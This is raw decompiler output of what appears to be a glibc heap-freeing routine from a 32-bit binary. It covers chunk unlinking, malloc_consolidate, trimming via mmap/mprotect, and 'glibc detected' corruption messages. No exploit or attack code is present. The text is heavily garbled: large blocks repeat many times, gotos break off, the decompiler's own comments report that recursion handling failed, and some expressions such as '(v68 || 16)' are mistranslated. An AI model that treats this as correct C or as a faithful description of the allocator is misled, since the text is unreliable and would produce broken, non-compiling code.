*(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v74 = *(int32_t *)(v87 + 4) & -8; v104 = (v67 - 17 + v74 - v65) / v67 - 1; v75 = v104 * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); v100 = (int32_t)v43 + 1; if (v100 != 0) { v107 = (int32_t *)0x80b3b3c; // 0x80b3a39 *(int32_t *)(g101 + 8) = v32; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1; v101 = v107; // branch -> 0x80b3856 } else { v101 = (int32_t *)v100; } } else { v101 = (int32_t *)v32; } } else { // 0x80b3a09 v69 = v60 + v42 - 1 & -v42; v88 = *(int32_t *)(g101 + 8); v97 = v88 + v69; if (v97 <= 0x100000) { // 0x80b3a22 v103 = mprotect((int32_t *)((int32_t)v47 + v88), v69, 3); if (v103 == 0) { v107 = v37; // 0x80b3a39 *(int32_t *)(g101 + 8) = v97; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1; v101 = v107; // branch -> 0x80b3856 } else { v101 = (int32_t *)v103; } } else { v101 = (int32_t *)v88; } } // 0x80b3856 return (int32_t)v101; } v101 = (int32_t *)v104; } // 0x80b3856 return (int32_t)v101; } } // 0x80b3928 v64 = g21; g98 = v64; v72 = v64 & 5; g95 = v72; if (v72 != 5) { // 0x80b393c if (v64 == 1) { // 0x80b3945 // branch -> 0x80b3af1 // 0x80b3af1 abort(); // UNREACHABLE } // 0x80b3c2e v28 = (int32_t)g2; v45 = _itoa_word(v6, v28, 16, v28, v1); g97 = v45; v57 = v50; if (g96 < v45) { // 0x80b3c50 v55 = -v45; v56 = -1 - g95; g97 = -1 - (v56 < v55 ? v55 : v56); v57 = (int32_t *)48; // branch -> 0x80b3c5b } // 0x80b3c5b if (*(int32_t *)g93 == 0) { // 0x80b3ed3 // branch -> 0x80b3c6a } // 0x80b3c6a v78 = g98 & 2; g98 = v78; __libc_message((int32_t *)v78, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 // 0x80b3951 v99 = v14 + 56; v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v99; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v57; // branch -> 0x80b3971 // 0x80b3971 if (g102 < 0x10000) { // 0x80b3856 return (int32_t)(int32_t *)v99; } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 v106 = *(int32_t *)(g82 + 4) & -8; if (v106 >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; v101 = (int32_t *)sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } else { v101 = (int32_t *)v106; } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v74 = *(int32_t *)(v87 + 4) & -8; v104 = (v67 - 17 + v74 - v65) / v67 - 1; v75 = v104 * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); v100 = (int32_t)v43 + 1; if (v100 != 0) { v107 = (int32_t *)0x80b3b3c; // 0x80b3a39 *(int32_t *)(g101 + 8) = v32; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1; v101 = v107; // branch -> 0x80b3856 } else { v101 = (int32_t *)v100; } } else { v101 = (int32_t *)v32; } } else { // 0x80b3a09 v69 = v60 + v42 - 1 & -v42; v88 = *(int32_t *)(g101 + 8); v97 = v88 + v69; if (v97 <= 0x100000) { // 0x80b3a22 v103 = mprotect((int32_t *)((int32_t)v47 + v88), v69, 3); if (v103 == 0) { v107 = v37; // 0x80b3a39 *(int32_t *)(g101 + 8) = v97; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1; v101 = v107; // branch -> 0x80b3856 } else { v101 = (int32_t *)v103; } } else { v101 = (int32_t *)v88; } } // 0x80b3856 return (int32_t)v101; } v101 = (int32_t *)v104; } // 0x80b3856 return (int32_t)v101; } // 0x80b3e68 v81 = v64 & 2; g98 = v81; __libc_message((int32_t *)v81, (struct struct_59 *)"%s\n"); // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 } else { // 0x80b3af8 *v22 = *v22 & -2; // branch -> 0x80b3951 } // 0x80b3951 v99 = v14 + 56; v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v99; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v50; v102 = v99; // branch -> 0x80b3971 } // 0x80b3971 if (g102 < 0x10000) { // 0x80b3856 return (int32_t)(int32_t *)v102; } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 v106 = *(int32_t *)(g82 + 4) & -8; if (v106 >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; v101 = (int32_t *)sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } else { v101 = (int32_t *)v106; } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v74 = *(int32_t *)(v87 + 4) & -8; v104 = (v67 - 17 + v74 - v65) / v67 - 1; v75 = v104 * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); v100 = (int32_t)v43 + 1; if (v100 != 0) { v107 = (int32_t *)0x80b3b3c; // 0x80b3a39 *(int32_t *)(g101 + 8) = v32; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1; v101 = v107; // branch -> 0x80b3856 } else { v101 = (int32_t *)v100; } } else { v101 = (int32_t *)v32; } } else { // 0x80b3a09 v69 = v60 + v42 - 1 & -v42; v88 = *(int32_t *)(g101 + 8); v97 = v88 + v69; if (v97 <= 0x100000) { // 0x80b3a22 v103 = mprotect((int32_t *)((int32_t)v47 + v88), v69, 3); if (v103 == 0) { v107 = v37; // 0x80b3a39 *(int32_t *)(g101 + 8) = v97; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1; v101 = v107; // branch -> 0x80b3856 } else { v101 = (int32_t *)v103; } } else { v101 = (int32_t *)v88; } } // 0x80b3856 return (int32_t)v101; } v101 = (int32_t *)v104; } // 0x80b3856 return (int32_t)v101; } // 0x80b3e36 v80 = v63 & 2; g98 = v80; __libc_message((int32_t *)v80, (struct struct_59 *)"%s\n"); v50 = v46; // branch -> 0x80b38fc // 0x80b38fc if (v6 == *v19) { // 0x80b3b04 v31 = g102 + v24; g102 = v31; *(int32_t *)(g101 + 4) = v31 | 1; *(int32_t *)(v14 + 48) = g101; v51 = v50; // branch -> 0x80b3971 } else { // 0x80b390b if (*(char *)((v24 || 4) + v6) == 1) { // 0x80b3919 v85 = *(int32_t *)(v5 + v2); v39 = v85; v86 = *(int32_t *)(v6 + 12); g97 = v86; v34 = (int32_t *)(v85 + 12); if (v6 == *v34) { // 0x80b3e00 if (v6 == *(int32_t *)(v86 + 8)) { // 0x80b3e09 *v34 = v86; *(int32_t *)(g97 + 8) = v39; // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 // 0x80b3951 v99 = v14 + 56; v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v99; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v50; // branch -> 0x80b3971 // 0x80b3971 if (g102 < 0x10000) { // 0x80b3856 return (int32_t)(int32_t *)v99; } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 if ((*(int32_t *)(g82 + 4) & -8) >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } else { // 0x80b39ce v98 = v37; // branch -> 0x80b39d0 } // 0x80b39d0 v74 = *(int32_t *)(v87 + 4) & -8; v75 = ((v67 - 17 + v74 - v65) / v67 - 1) * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v76 = v42 - 1; v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v18 = v32; v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); if ((int32_t)v43 != -1) { // 0x80b3a39 *(int32_t *)(g101 + 8) = v18; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)(int32_t *)0x80b3b3c + 4) = v74 - v96 | 1; // branch -> 0x80b3856 } } } else { // 0x80b3a09 v69 = v60 + v76 & -v42; v88 = *(int32_t *)(g101 + 8); v97 = v88 + v69; v18 = v97; if (v97 <= 0x100000) { // 0x80b3a22 if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) { // 0x80b3a39 *(int32_t *)(g101 + 8) = v18; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v98 + 4) = v74 - v96 | 1; // branch -> 0x80b3856 } } } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } } // 0x80b3928 v64 = g21; g98 = v64; v72 = v64 & 5; g95 = v72; if (v72 != 5) { // 0x80b393c if (v64 == 1) { // 0x80b3945 // branch -> 0x80b3af1 } else { // 0x80b3c2e v28 = (int32_t)g2; v45 = _itoa_word(v6, v28, 16, v28, v1); g97 = v45; v57 = v50; if (g96 < v45) { // 0x80b3c50 v55 = -v45; v56 = -1 - g95; g97 = -1 - (v56 < v55 ? v55 : v56); v57 = (int32_t *)48; // branch -> 0x80b3c5b } // 0x80b3c5b if (*(int32_t *)g93 == 0) { // 0x80b3ed3 // branch -> 0x80b3c6a } // 0x80b3c6a v78 = g98 & 2; g98 = v78; __libc_message((int32_t *)v78, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 // 0x80b3951 v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v14 + 56; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v57; // branch -> 0x80b3971 // 0x80b3971 if (g102 < 0x10000) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 if ((*(int32_t *)(g82 + 4) & -8) >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v74 = *(int32_t *)(v87 + 4) & -8; v75 = ((v67 - 17 + v74 - v65) / v67 - 1) * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); if ((int32_t)v43 != -1) { // 0x80b3a39 *(int32_t *)(g101 + 8) = v32; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)(int32_t *)0x80b3b3c + 4) = v74 - v96 | 1; // branch -> 0x80b3856 } } } else { // 0x80b3a09 v69 = v60 + v42 - 1 & -v42; v88 = *(int32_t *)(g101 + 8); v97 = v88 + v69; if (v97 <= 0x100000) { // 0x80b3a22 if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) { // 0x80b3a39 *(int32_t *)(g101 + 8) = v97; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v37 + 4) = v74 - v96 | 1; // branch -> 0x80b3856 } } } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b3af1 abort(); // UNREACHABLE } // 0x80b3e68 v81 = v64 & 2; g98 = v81; __libc_message((int32_t *)v81, (struct struct_59 *)"%s\n"); // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 } else { // 0x80b3af8 *v22 = *v22 & -2; // branch -> 0x80b3951 } // 0x80b3951 v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v14 + 56; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v50; // branch -> 0x80b3971 } // 0x80b3971 if (g102 < 0x10000) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 if ((*(int32_t *)(g82 + 4) & -8) >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } else { // 0x80b39ce v98 = v37; // branch -> 0x80b39d0 } // 0x80b39d0 v74 = *(int32_t *)(v87 + 4) & -8; v75 = ((v67 - 17 + v74 - v65) / v67 - 1) * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v76 = v42 - 1; v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v18 = v32; v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); if ((int32_t)v43 != -1) { // 0x80b3a39 *(int32_t *)(g101 + 8) = v18; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)(int32_t *)0x80b3b3c + 4) = v74 - v96 | 1; // branch -> 0x80b3856 } } } else { // 0x80b3a09 v69 = v60 + v76 & -v42; v88 = *(int32_t *)(g101 + 8); v97 = v88 + v69; v18 = v97; if (v97 <= 0x100000) { // 0x80b3a22 if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) { // 0x80b3a39 *(int32_t *)(g101 + 8) = v18; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v98 + 4) = v74 - v96 | 1; // branch -> 0x80b3856 } } } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b38fc if (v6 == *v19) { // 0x80b3b04 v31 = g102 + v24; g102 = v31; *(int32_t *)(g101 + 4) = v31 | 1; *(int32_t *)(v14 + 48) = g101; v51 = v50; // branch -> 0x80b3971 } else { // 0x80b390b if (*(char *)((v24 || 4) + v6) == 1) { // 0x80b3919 v85 = *(int32_t *)(v5 + v2); v39 = v85; v86 = *(int32_t *)(v6 + 12); g97 = v86; v34 = (int32_t *)(v85 + 12); if (v6 == *v34) { // 0x80b3e00 if (v6 == *(int32_t *)(v86 + 8)) { // 0x80b3e09 *v34 = v86; *(int32_t *)(g97 + 8) = v39; // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 // 0x80b3951 v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v14 + 56; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v50; // branch -> 0x80b3971 // 0x80b3971 if (g102 < 0x10000) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 if ((*(int32_t *)(g82 + 4) & -8) >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } else { // 0x80b39ce v98 = v37; // branch -> 0x80b39d0 } // 0x80b39d0 v74 = *(int32_t *)(v87 + 4) & -8; v75 = ((v67 - 17 + v74 - v65) / v67 - 1) * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v76 = v42 - 1; v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v18 = v32; v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); if ((int32_t)v43 != -1) { // 0x80b3a39 *(int32_t *)(g101 + 8) = v18; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)(int32_t *)0x80b3b3c + 4) = v74 - v96 | 1; // branch -> 0x80b3856 } } } else { // 0x80b3a09 v69 = v60 + v76 & -v42; v88 = *(int32_t *)(g101 + 8); v97 = v88 + v69; v18 = v97; if (v97 <= 0x100000) { // 0x80b3a22 if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) { // 0x80b3a39 *(int32_t *)(g101 + 8) = v18; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v98 + 4) = v74 - v96 | 1; // branch -> 0x80b3856 } } } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } } // 0x80b3928 v64 = g21; g98 = v64; v72 = v64 & 5; g95 = v72; if (v72 != 5) { // 0x80b393c if (v64 == 1) { // 0x80b3945 // branch -> 0x80b3af1 } else { // 0x80b3c2e v28 = (int32_t)g2; v45 = _itoa_word(v6, v28, 16, v28, v1); g97 = v45; v57 = v50; if (g96 < v45) { // 0x80b3c50 v55 = -v45; v56 = -1 - g95; g97 = -1 - (v56 < v55 ? v55 : v56); v57 = (int32_t *)48; // branch -> 0x80b3c5b } // 0x80b3c5b if (*(int32_t *)g93 == 0) { // 0x80b3ed3 // branch -> 0x80b3c6a } // 0x80b3c6a v78 = g98 & 2; g98 = v78; __libc_message((int32_t *)v78, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n"); // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 // 0x80b3951 v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v14 + 56; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v57; // branch -> 0x80b3971 // 0x80b3971 if (g102 < 0x10000) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 if ((*(int32_t *)(g82 + 4) & -8) >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } } else { // 0x80b3997 v68 = *v19 & -0x100000; g101 = v68; v65 = g71; v66 = *(int32_t *)v68; v67 = g76; v36 = (int32_t *)(v66 + 48); v87 = *v36; v37 = (int32_t *)v87; v47 = (struct struct_59 *)v68; if (v87 == (v68 || 16)) { // 0x80b3c87 v38 = (int32_t *)(v66 + 1100); v29 = (int32_t)g2; v92 = v37; v70 = v68; // branch -> 0x80b3cba while (true) { // 0x80b3cba v89 = *(int32_t *)(v70 + 4); g101 = v89; v90 = *(int32_t *)(v89 + 8); v79 = v90 + v89 - 8; v49 = v79 - *(int32_t *)v79; v91 = *(int32_t *)(v49 + 4); v26 = v91 + 8 & -8; if (v91 == 1) { goto lab_0x7501a00; } v61 = v26; goto lab_0x7502f20; } } // 0x80b39d0 v74 = *(int32_t *)(v87 + 4) & -8; v75 = ((v67 - 17 + v74 - v65) / v67 - 1) * v67; v41 = v75; if (v75 >= v67) { // 0x80b39f7 v42 = getpagesize(); v60 = -v75; if (v60 < 0) { // 0x80b3b17 v32 = *(int32_t *)(g101 + 8) + v60; if (v32 >= 16) { // 0x80b3b25 v30 = (int32_t)g2; v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30); if ((int32_t)v43 != -1) { // 0x80b3a39 *(int32_t *)(g101 + 8) = v32; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)(int32_t *)0x80b3b3c + 4) = v74 - v96 | 1; // branch -> 0x80b3856 } } } else { // 0x80b3a09 v69 = v60 + v42 - 1 & -v42; v88 = *(int32_t *)(g101 + 8); v97 = v88 + v69; if (v97 <= 0x100000) { // 0x80b3a22 if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) { // 0x80b3a39 *(int32_t *)(g101 + 8) = v97; v95 = (int32_t *)(v66 + 1100); *v95 = *v95 - v41; v96 = v41; g67 -= v96; *(int32_t *)((int32_t)v37 + 4) = v74 - v96 | 1; // branch -> 0x80b3856 } } } // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b3af1 abort(); // UNREACHABLE } // 0x80b3e68 v81 = v64 & 2; g98 = v81; __libc_message((int32_t *)v81, (struct struct_59 *)"%s\n"); // branch -> 0x80b394e // 0x80b394e g102 += v24; // branch -> 0x80b3951 } else { // 0x80b3af8 *v22 = *v22 & -2; // branch -> 0x80b3951 } // 0x80b3951 v35 = (int32_t *)(v14 + 64); v40 = *v35; *(int32_t *)(g101 + 12) = v14 + 56; *(int32_t *)(g101 + 8) = v40; *v35 = g101; *(int32_t *)(v40 + 12) = g101; v73 = g102 | 1; g98 = v73; *(int32_t *)(g101 + 4) = v73; v82 = g102; *(int32_t *)(v82 + g101) = v82; v51 = v50; // branch -> 0x80b3971 } // 0x80b3971 if (g102 < 0x10000) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b397d g95 = v14; if (*(char *)v15 == 1) { // 0x80b3b4c malloc_consolidate(v1, v51); // branch -> 0x80b398a } // 0x80b398a if (a1 == (char *)0x8139c40) { // 0x80b3c03 if ((*(int32_t *)(g82 + 4) & -8) >= g70) { // 0x80b3c1a g97 = 0x8139c40; g95 = g71; sYSTRIm(v1, v51, (char *)0x8139c40); // branch -> 0x80b3856 } } else { // 0x80b3997 